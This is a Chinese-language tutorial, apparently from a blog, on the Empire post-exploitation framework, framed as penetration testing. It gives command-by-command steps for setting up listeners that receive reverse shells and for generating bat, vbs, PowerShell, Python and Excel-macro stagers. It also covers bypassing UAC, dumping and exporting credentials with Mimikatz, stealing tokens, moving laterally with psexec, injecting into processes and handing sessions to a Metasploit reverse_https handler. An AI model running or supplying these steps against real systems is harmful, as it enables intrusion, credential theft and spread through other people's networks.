88

0x00 介绍

​ Empire 是一款类似Metasploit 的渗透测试框架,基于python 编写,Empire是一个纯粹的PowerShell 后开发代理,建立在密码安全通信和灵活的架构上。Empire 实现了无需powershell.exe 即可运行PowerShell 代理的功能,从键盘记录器到Mimikatz 等快速部署的后期开发模块,以及适应性通信以避开网络检测,所有这些都包含在以可用性为重点的框架中。

0x01 安装

下载地址: https://github.com/EmpireProject/Empire

下载地址:https://github.com/interference-security/empire-web.git (web版)

下载
git clone https://github.com/EmpireProject/Empire.git

切换至工具目录setup下
./install.sh
出现setip comlete则安装成功
./reset.sh

image-20200210180914768

切换至主目录运行./empire,如果出现错误则使用pip安装模块即可

若出现无pydispatcher模块名,则使用以下命令解决即可
pip install PyDispatcher

若出现No module named Crypto.Cipher
pip install pycrypto

成功界面!

image-20200210183146543

0x02 监听模块

进入监听模块
listeners

image-20200225133238490

参数

agents	
跳转到代理菜单
back
回到主菜单
creds
显示/返回数据库中的凭据
delete
从数据库中删除侦听器
disable
禁用禁用(停止)一个或所有侦听器。侦听器不会自动启动Empire
edit
编辑更改侦听器选项,在重新启动侦听器之前不会生效
enable
启用并启动一个或所有侦听器
exit
退出
help
显示帮助菜单
info
显示活动侦听器的信息
kill
杀死一个或所有活跃的听众
launcher
为侦听器生成初始启动器
list
列出所有活动的侦听器(或代理)
listeners
跳转到“侦听器”菜单
main
主菜单返回主菜单
resource
从文件中读取并执行帝国命令列表
uselistener
使用帝国侦听器模块
usestager
使用帝国雄鹿

监听方法

监听方法
http
https

修改监听名
set Name Time

设置shell回弹地址
set Host http://192.168.43.239:8080

设置监听端口
set Port 8080

开启监听
execute

image-20200225135923882

image-20200225140922490

0x03 生成payload模块

返回主菜单,输入usestager (空格+tab)可显示当前能生成的payload
根据目标系统选择对应payload
本次目标系统为windows7

image-20200225142334385

选择windows/launcher_bat模块

usestager windows/launcher_bat Time(监听器名称)
生成
execute

image-20200225143122716

image-20200225143504171

接收反弹成功

image-20200225145039349

image-20200225145058252

选择会话

interact 2RH69CMK

image-20200225145810389

选择windows/launcher_vbs模块

usestager windows/launcher_vbs Time(监听器名称)
生成
execute

image-20200225160206353

获取shell成功

image-20200225160405629

另外一种直接生成shell方法

windows
launcher powershell Time
在目标主机中直接运行,无文件落地,隐秘性较高

image-20200225160843514

反弹成功

image-20200225160955148

linux
launcher python Time

image-20200225162205082

image-20200225162330487

宏反弹shell

usestager windows/macro Time(监听器名称)
生成
execute

将代码复制到execl的宏代码中运行

image-20200225171313456

反弹成功

image-20200225170131670

0x04 代理会话(shell会话)

参数

agents	
跳转到代理菜单。
autorun
从文件读取并执行帝国命令列表,并在每个新代理上执行“autorun<resource file><agent language>”,例如“autorun/root/ps.rc powershell”。或使用“自动运行清除”清除任何自动运行设置,并使用“自动运行显示”显示当前自动运行设置

back
回到主菜单。
clear
清除一个或多个代理的任务。
creds
显示/返回数据库中的凭据。
exit
退出。
help
显示帮助菜单。
interact
与特定代理交互。
kill
杀死一个或多个代理以退出任务。
killdate
设置一个或多个代理的kildate(kildate[agent/all]01/01/2016)。
list
列表列出所有活动代理(或侦听器)。
listeners
跳转到“侦听器”菜单。
lostlimit
Task将一个或多个代理设置为“lostlimit[代理/全部][错过的回调数]”
main
主菜单返回主菜单。
remove
从数据库中删除一个或多个代理。
rename
重命名重命名特定代理。
resource
从文件中读取并执行帝国命令列表。
searchmodule
搜索帝国模块名称/描述。
sleep
睡眠任务一个或多个代理“睡眠[代理/全部]间隔[抖动]”
usemodule
使用帝国PowerShell模块。
usestager
使用帝国雄鹿。
workinghou
工作时间设置一个或多个代理的工作时间(工作时间[代理/全部]9:00-17:00)。

list
查看会话列表
用户处*代表最高权限

image-20200227000538125

list stale
列出已丢失会话代理

image-20200226023048893

0x05 UAC提权方法模块

进入会话,输入usemodule (空格+tab键)查看可使用模块

image-20200226023120588

usemodule privesc/powerup/allchecks
检测提权方法模块

image-20200228121225322

UAC提权模块
bypassuac Time

提权成功

image-20200226023221559

0x06 信息收集

ps
查看进程

image-20200226023252724

本地管理组访问模块
usemodule situational_awareness/network/powerview/find_localadmin_access

image-20200226023409814

加载mimikatz获取管理员hash

image-20200226023812869

查看用户及hash(包括明文)

image-20200226023858797

creds krbtgt 
搜索特定用户的krbtgt
creds plaintext
搜索hash中的明文
creds hash
列出所有hash值
creds export /opt/hash.csv
导出hash凭证到指定的格式

shell net localgroup administrators
查看管理员组
shell ipconfig
查看IP地址
用户账号枚举模块
usemodule situational_awareness/network/powerview/get_user
可设置域名
set Domain hacker.testlab

image-20200226024938492

网络用户会话登录情况
usemodule situational_awareness/network/powerview/userhunter

网络扫描
shell ping -a -n 1 192.168.2.1
usemodule situational_awareness/network/arpscan
设置扫描范围
set Range 192.168.2.1-192.168.2.150

image-20200226141750252

DNS信息获取
usemodule situational_awareness/network/reverse_dns

共享文件
usemodule situational_awareness/network/powerview/share_finder
set CheckShareAccess True

会话令牌偷取获取目标访问权限
ps cmd
steal_token 3716(PID)
shell dir \\HACKER(域名称)\c$

psexec模块横向生成一个反弹代理
usemodule lateral_movement/invoke_psexec
设置监听器名称
set Listener Time
设置域名称
set ComputerName HACKER

会话注入得到反弹代理
ps cmd
选择反弹模块
usemodule management/psinject
设置PID
set ProcId 2340
设置监听器名称
set Listener Time

image-20200226201934966

0x07 Empire和MSF联动

Empire
usemodule code_execution/invoke_shellcode
info
set Lhost 192.168.2.131
set Lport 4445
Metasploit
use exploit/multi/handler
set payload windows/meterpreter/reverse_https
set lhost 192.168.2.131
set lport 4445
set exitsession false
exploit -j